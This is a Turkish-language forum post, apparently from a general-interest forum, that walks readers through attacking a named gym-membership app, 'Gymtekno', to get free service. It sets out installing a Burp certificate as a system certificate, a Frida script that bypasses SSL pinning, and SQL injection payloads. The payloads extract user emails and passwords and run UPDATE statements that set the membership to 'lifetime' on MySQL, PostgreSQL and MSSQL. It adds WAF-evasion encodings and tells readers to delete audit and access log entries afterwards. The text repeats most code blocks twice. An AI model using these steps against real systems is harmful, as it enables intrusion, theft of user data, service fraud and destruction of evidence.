iluvanavar
just for entertaiment purposes.
- Joined
- Jun 10, 2026
- Posts
- 866
- Reputation
- 889
Sımdı arkadaslar oncelıkle bastan soyluorum yapacagımız ıslem ufakta olsa codıng bılgısı gerektırecektık sımdı hızlıca gecıyorum
Gereklı uygulamalar
bilgisayar Windows, Mac, Linux fark etmez
Burp Suite Community
Android Studio içindeki sanal cihaz (AVD)
ADB (Android Debug Bridge)
OpenSSL
Frida ve Frida-server
JADX-GUI
Python 3
Simdi oncelikle burptan sertıfıkayı almadan once sunu demelıyım artık cogu sıstem androıd 7 ve uzerı kullandıgı ıcın ıse yaramaz o yuzden o yuzden sıstem sertıfıkası olarak sokmak zorundaız o yuzden
Burpta sertıfıkayı dısa aktırdıktan sonra Burp > Proxy > Options > Import/Export CA Certificate > Export > Certificate in DER format. bunlardan sonra elımızde cacert.der dıye bır dosya olacak
Sımdı bu dosyayı spoılerde verdıgım kod ıle OPENSSL ile PEM yabcaz
Sımdı androıdın bunu tanıması ıcın bu hash ıle degıstırmek gerek o yuzden asagıdakı kod ıle bunu saglıyoruz
simdi random sayılı bır dosya olucak elımızde (aslında oyle deıl)
Sımdı PEM dosyasının adını bu hash ıle degısıp uzantısını .0 yapıyoruz
Simdi bu dosyayı androıdın sıstemıne aktarıyoruz emulatoru baslattıktan sonra ADB ıle duzenlenebılır hale getırıoz
Dosyayı itekliyoruz
izinleri ayarlioyuz simdi takip edin
emulatoru bu asamadan sonra restart ıle yenıden baslatın
SIMDI COK ONEMLI BI YER SSL PINLICEZ KI FRIDA ILE ISIMIZI GORECEGIZ.
Telefona frida-serverı atıp çalıştırıoyuz
Sonra pcde asagıdakı javascript kodunu bypass.js diye kaydedın
Şimdi bu betiği uygulamaya enjekte ediniz ve paket ismini adb shell pm list packages | grep gym veya benzeri bir şeyle bul
Bu çalıştığında uygulama açılacak ve Burp artık tüm trafiği yakalamaya başlayacak
Simdi Burası da cok onemlı cunku API ve parametleri arioz.
Şimdi JADX-GUI’yi aç, APK dosyasını içine sürükle
Orada https://api., Authorization, Bearer gibi kelimeleri ara. Hangi endpointler var bakioruz bu zamandan zamana degısıor
Örneğin GET /v1/users/profile?userId=1234 gibi bir istek görürsen dırekt amına koymus oluyorsunuz neyse,
Simdi SQL INJECTION veritabanına erismis olmaktaız
Bu parametreye tırnak işareti (') ekleyip gönder
Eğer gelen cevapta SQL syntax error, MySQL, PostgreSQL, ORA gibi bir hata mesajı varsa, işlem tamamdır
Hangi veritabanını kullandıklarını ogrenmek ıcın sunu denıcez
Bu olursa bunu deneyın
SIMDI ARKADASLAR BURDA GEREKLI OLAN VERITABANI TIPINI BULDUKTAN SONRA YAPMAMIZ GEREKEN SEY GYMTEKNOYA KAYITOLDUGUNUZ TELEFON NUMARASI GMAİL GİBİ BİLGİLERİ BU PARAMATERE DE ARATIYORSUNUZ DİYELİM Kİ @looksmax.org DİYE BİR MAIL ILE KAYDOLDUNUZ NEYSE SU SEY ILE MANUEL TARAMA YAPACAKSINIZ
YUKARDA [email protected] YAZDIGIM YERE KENDI NUMARANIZI MAAILIZNIZI GEREKLI YERE DOGRU BIR SEKILDE YAZIONUZ
ORDA KI IDYI ALIYORSUNUZ DIYELIM KI 3169 CIKTI
BU IDYI SURDA KULLANACAGIZ
AMA ONCELIKLE BURDA YAPACAGAMIZ SEY DEGISKEN VERITABANINA GORE ISLEM YAPMAK TEK TEK ASSAGIYA BIRAKIYORUM
Eger hata mesajında com.mysql.jdbc yazıyorsa (MySQL/MariaDB)
BUNU
Eğer hata mesajında org.postgresql yazıyorsa (PostgreSQL)
BUNU YAZIYORUZ
Eğer hata mesajında com.microsoft.sqlserver yazıyorsa (MSSQL)
EGER WAF(GUVENLIK DUVARI)BIZI ENGELLERSE
PAYLOADI MANIPULE ETMEK ICIN SU ISLEMLERI YAPACAGIZ
EN SON OLARAK SISTEM TARAFINDAN YAKALANMAMAK ICIN
Tüm bu işlemleri yaparken gönderdiğin sorgunun loglara düşmemesi için işin bittiğinde audit_log veya access_log tablosundan YAPTIGIMIZ DEGISIKLIKLERI SILIYORUZ
BU KADARDI ARKADASLAR BOYLELIKLE GYMTEKNONUN SQL SISTEMINE SIZIP VERIDATASI UZERINDE DEGISIKLIKLER YAPABILIYORUZ
Gereklı uygulamalar
bilgisayar Windows, Mac, Linux fark etmez
Burp Suite Community
Android Studio içindeki sanal cihaz (AVD)
ADB (Android Debug Bridge)
OpenSSL
Frida ve Frida-server
JADX-GUI
Python 3
Simdi oncelikle burptan sertıfıkayı almadan once sunu demelıyım artık cogu sıstem androıd 7 ve uzerı kullandıgı ıcın ıse yaramaz o yuzden o yuzden sıstem sertıfıkası olarak sokmak zorundaız o yuzden
Burpta sertıfıkayı dısa aktırdıktan sonra Burp > Proxy > Options > Import/Export CA Certificate > Export > Certificate in DER format. bunlardan sonra elımızde cacert.der dıye bır dosya olacak
Sımdı bu dosyayı spoılerde verdıgım kod ıle OPENSSL ile PEM yabcaz
openssl x509 -inform DER -in cacert.der -out cacert.pem
Sımdı androıdın bunu tanıması ıcın bu hash ıle degıstırmek gerek o yuzden asagıdakı kod ıle bunu saglıyoruz
bash
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
Sımdı PEM dosyasının adını bu hash ıle degısıp uzantısını .0 yapıyoruz
bash
mv cacert.pem 9a5ba575.0
mv cacert.pem 9a5ba575.0
bash
adb root
adb remount
adb root
adb remount
bash
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb push 9a5ba575.0 /system/etc/security/cacerts/
bash
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
SIMDI COK ONEMLI BI YER SSL PINLICEZ KI FRIDA ILE ISIMIZI GORECEGIZ.
Telefona frida-serverı atıp çalıştırıoyuz
bash
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &
javascript
Java.perform(function() {
// OkHttp
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log("[+] Pin atlandi: " + hostname);
return;
};
} catch(e) {}
//
try {
var TrustManager = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TrustManager.checkServerTrusted.implementation = function(chain, authType) {
console.log("[+] TrustManager bypass");
return;
};
} catch(e) {}
//
try {
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom').implementation = function(km, tm, sr) {
console.log("[+] SSLContext bypass");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var tmf = TrustManagerFactory.getInstance("X509");
tmf.init(null);
var tm_array = tmf.getTrustManagers();
return this.init(km, tm_array, sr);
};
} catch(e) {}
});
Java.perform(function() {
// OkHttp
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log("[+] Pin atlandi: " + hostname);
return;
};
} catch(e) {}
//
try {
var TrustManager = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TrustManager.checkServerTrusted.implementation = function(chain, authType) {
console.log("[+] TrustManager bypass");
return;
};
} catch(e) {}
//
try {
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom').implementation = function(km, tm, sr) {
console.log("[+] SSLContext bypass");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var tmf = TrustManagerFactory.getInstance("X509");
tmf.init(null);
var tm_array = tmf.getTrustManagers();
return this.init(km, tm_array, sr);
};
} catch(e) {}
});
bash
frida -U -f com.gymtekno.uygulama -l bypass.js --no-pause
frida -U -f com.gymtekno.uygulama -l bypass.js --no-pause
Simdi Burası da cok onemlı cunku API ve parametleri arioz.
Şimdi JADX-GUI’yi aç, APK dosyasını içine sürükle
Orada https://api., Authorization, Bearer gibi kelimeleri ara. Hangi endpointler var bakioruz bu zamandan zamana degısıor
Örneğin GET /v1/users/profile?userId=1234 gibi bir istek görürsen dırekt amına koymus oluyorsunuz neyse,
Simdi SQL INJECTION veritabanına erismis olmaktaız
Bu parametreye tırnak işareti (') ekleyip gönder
Eğer gelen cevapta SQL syntax error, MySQL, PostgreSQL, ORA gibi bir hata mesajı varsa, işlem tamamdır
Hangi veritabanını kullandıklarını ogrenmek ıcın sunu denıcez
text
userId=1234' AND 1=1--
userId=1234' AND 1=1--
text
userId=1234' AND 1=2--
userId=1234' AND 1=2--
text
userId=1234' UNION SELECT null, user_id, email, sifre FROM users WHERE email='[email protected]'--
userId=1234' UNION SELECT null, user_id, email, sifre FROM users WHERE email='[email protected]'--
ORDA KI IDYI ALIYORSUNUZ DIYELIM KI 3169 CIKTI
BU IDYI SURDA KULLANACAGIZ
AMA ONCELIKLE BURDA YAPACAGAMIZ SEY DEGISKEN VERITABANINA GORE ISLEM YAPMAK TEK TEK ASSAGIYA BIRAKIYORUM
Eger hata mesajında com.mysql.jdbc yazıyorsa (MySQL/MariaDB)
text
userId=1234'; UPDATE uyelikler SET bitis_tarihi = DATE_ADD(bitis_tarihi, INTERVAL 365 DAY), plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
userId=1234'; UPDATE uyelikler SET bitis_tarihi = DATE_ADD(bitis_tarihi, INTERVAL 365 DAY), plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
Eğer hata mesajında org.postgresql yazıyorsa (PostgreSQL)
text
userId=1234'; UPDATE uyelikler SET bitis_tarihi = bitis_tarihi + INTERVAL '1 year', plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
userId=1234'; UPDATE uyelikler SET bitis_tarihi = bitis_tarihi + INTERVAL '1 year', plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
Eğer hata mesajında com.microsoft.sqlserver yazıyorsa (MSSQL)
text
userId=1234'; UPDATE uyelikler SET bitis_tarihi = DATEADD(YEAR, 1, bitis_tarihi), plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
userId=1234'; UPDATE uyelikler SET bitis_tarihi = DATEADD(YEAR, 1, bitis_tarihi), plan_tip = 'lifetime' WHERE kullanici_id = 3169;--
PAYLOADI MANIPULE ETMEK ICIN SU ISLEMLERI YAPACAGIZ
Büyük küçük harf degistir Or, oR, 1=1
Yorum satırı '/**/OR/**/1=1/**/--
URL encode yap %27%20%4F%52%20%31%3D%31
Null byte dene: 1'%00 1=1--
Hex kullan 0x27204F5220313D31
Yorum satırı '/**/OR/**/1=1/**/--
URL encode yap %27%20%4F%52%20%31%3D%31
Null byte dene: 1'%00 1=1--
Hex kullan 0x27204F5220313D31
Tüm bu işlemleri yaparken gönderdiğin sorgunun loglara düşmemesi için işin bittiğinde audit_log veya access_log tablosundan YAPTIGIMIZ DEGISIKLIKLERI SILIYORUZ
BU KADARDI ARKADASLAR BOYLELIKLE GYMTEKNONUN SQL SISTEMINE SIZIP VERIDATASI UZERINDE DEGISIKLIKLER YAPABILIYORUZ
Last edited:

